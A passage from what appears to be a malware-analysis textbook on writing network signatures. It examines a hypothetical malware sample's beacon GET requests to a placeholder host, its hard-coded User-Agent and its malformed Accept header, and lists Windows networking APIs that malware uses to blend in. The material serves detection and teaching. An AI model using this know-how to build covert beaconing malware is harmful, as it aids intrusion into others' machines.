the communication handshake is completed. This unique identification
of the victim host can take many forms, including an encoded string that
represents basic information about the host or a hash of unique host infor-
mation. A defender armed with the knowledge of how the malware identi-
fies distinct hosts can use that information to identify and track infected
machines.
312
Chapter 14
Understanding Surrounding Code
There are two types of networking activities: sending data and receiving data.
Analyzing outgoing data is usually easier, since the malware produces conve-
nient samples for analysis whenever it runs.
We’ll look at two malware samples in this section. The first one is creating
and sending out a beacon, and the other gets commands from an infected
website.
The following are excerpts from the traffic logs for a hypothetical piece
of malware’s activities on the live network. In these traffic logs, the malware
appears to make the following GET request:
GET /1011961917758115116101584810210210256565356 HTTP/1.1
Accept: * / *
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.badsite.com
Connection: Keep-Alive
Cache-Control: no-cache
Running the malware in our lab environment (or sandbox), we notice
the malware makes the following similar request:
GET /14586205865810997108584848485355525551 HTTP/1.1
Accept: * / *
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.badsite.com
Connection: Keep-Alive
Cache-Control: no-cache
Using Internet Explorer, we browse to a web page and find that the stan-
dard User-Agent on this test system is as follows:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;
.NET CLR 2.0.50727; .NET CLR 3.0.04506.648)
Given the different User-Agent strings, it appears that this malware’s
User-Agent string is hard-coded. Unfortunately, the malware appears to be
using a fairly common User-Agent string, which means that trying to create a
signature on the static User-Agent string alone will likely result in numerous
false positives. On the positive side, a static User-Agent string can be com-
bined with other elements to create an effective signature.
The next step is to perform dynamic analysis of the malware by running
the malware a couple more times, as described in the previous section. In
these trials, the GET requests were the same, except for the URI, which was
different each time. The overall URI results yield the following:
/1011961917758115116101584810210210256565356 (actual traffic)
/14586205865810997108584848485355525551
/7911554172581099710858484848535654100102
/2332511561845810997108584848485357985255
Malware-Focused Network Signatures
313
It appears as though there might be some common characters in the
middle of these strings (5848), but the pattern is not easily discernible. Static
analysis can be used to figure out exactly how the request is being created.
Finding the Networking Code
The first step to evaluating the network communication is to actually find the
system calls that are used to perform the communication. The most common
low-level functions are a part of the Windows Sockets (Winsock) API. Mal-
ware using this API will typically use functions such as WSAStartup, getaddrinfo,
socket, connect, send, recv, and WSAGetLastError.
Malware may alternatively use a higher-lever API called Windows Internet
(WinINet). Malware using the WinINet API will typically use functions such
as InternetOpen, InternetConnect, InternetOpenURL, HTTPOpenRequest, HTTPQueryInfo,
HTTPSendRequest, InternetReadFile, and InternetWriteFile. These higher-level
APIs allow the malware to more effectively blend in with regular traffic, since
these are the same APIs used during normal browsing.
Another high-level API that can be used for networking is the Component
Object Model (COM) interface. Implicit use of COM through functions such
as URLDownloadToFile is fairly common, but explicit use of COM is still rare.
Malware using COM explicitly will typically use functions like CoInitialize,
CoCreateInstance, and Navigate. Explicit use of COM to create and use a
browser, for example, allows the malware to blend in, since it’s actually
using the browser software as intended, and also effectively obscures its
activity and connection with the network traffic. Table 14-5 provides an
overview of the API calls that malware might make to implement network-
ing functionality.
Returning to our sample malware, its imported functions include
InternetOpen and HTTPOpenRequest, suggesting that the malware uses the WinINet
API. When we investigate the parameters to InternetOpen, we see that the
User-Agent string is hard-coded in the malware. Additionally, HTTPOpenRequest
takes a parameter that specifies the accepted file types, and we also see that
this parameter contains hard-coded content. Another HTTPOpenRequest param-
eter is the URI path, and we see that the contents of the URI are generated
from calls to GetTickCount, Random, and gethostbyname.
Table 14-5: Windows Networking APIs
WinSock API
WinINet API
COM interface
WSAStartup
InternetOpen
URLDownloadToFile
getaddrinfo
InternetConnect
CoInitialize
socket
InternetOpenURL
CoCreateInstance
connect
InternetReadFile
Navigate
send
InternetWriteFile
recv
HTTPOpenRequest
WSAGetLastError
HTTPQueryInfo
HTTPSendRequest
314
Chapter 14
Knowing the Sources of Network Content
The element that is most valuable for signature generation is hard-coded
data from the malware. Network traffic sent by malware will be constructed
from a limited set of original sources. Creating an effective signature requires
knowledge of the origin of each piece of network content. The following are
the fundamental sources:
Random data (such as data that is returned from a call to a function that
produces pseudorandom values)
Data from standard networking libraries (such as the GET created from a
call to HTTPSendRequest)
Hard-coded data from malware (such as a hard-coded User-Agent string)
Data about the host and its configuration (such as the hostname, the cur-
rent time according to the system clock, and the CPU speed)
Data received from other sources, such as a remote server or the file sys-
tem (examples are a nonce sent from server for use in encryption, a local
file, and keystrokes captured by a keystroke logger)
Note that there can be various levels of encoding imposed on this data
prior to its use in networking, but its fundamental origin determines its use-
fulness for signature generation.
Hard-Coded Data vs. Ephemeral Data
Malware that uses lower-level networking APIs such as Winsock requires
more manually generated content to mimic common traffic than malware
that uses a higher-level networking API like the COM interface. More man-
ual content means more hard-coded data, which increases the likelihood
that the malware author will have made some mistake that you can use to
generate a signature. The mistakes can be obvious, such as the misspelling of
Mozilla (Mozila), or more subtle, such as missing spaces or a different use of
case than is seen in typical traffic (MoZilla).
In the sample malware, a mistake exists in the hard-coded Accept string.
The string is statically defined as * / *, instead of the usual */*.
Recall that the URI generated from our example malware has the fol-
lowing form:
/14586205865810997108584848485355525551
The URI generation function calls GetTickCount, Random, and gethostbyname,
and when concatenating strings together, the malware uses the colon (:)
character. The hard-coded Accept string and the hard-coded colon characters
are good candidates for inclusion in the signature.
The results from the call to Random should be accounted for in the signa-
ture as though any random value could be returned. The results from the
calls to GetTickCount and gethostbyname need to be evaluated for inclusion
based on how static their results are.
Malware-Focused Network Signatures
315
While debugging the content-generation code of the sample malware,
we see that the function creates a string that is then sent to an encoding func-
tion. The format of the string before it’s sent seems to be the following:
<4 random bytes>::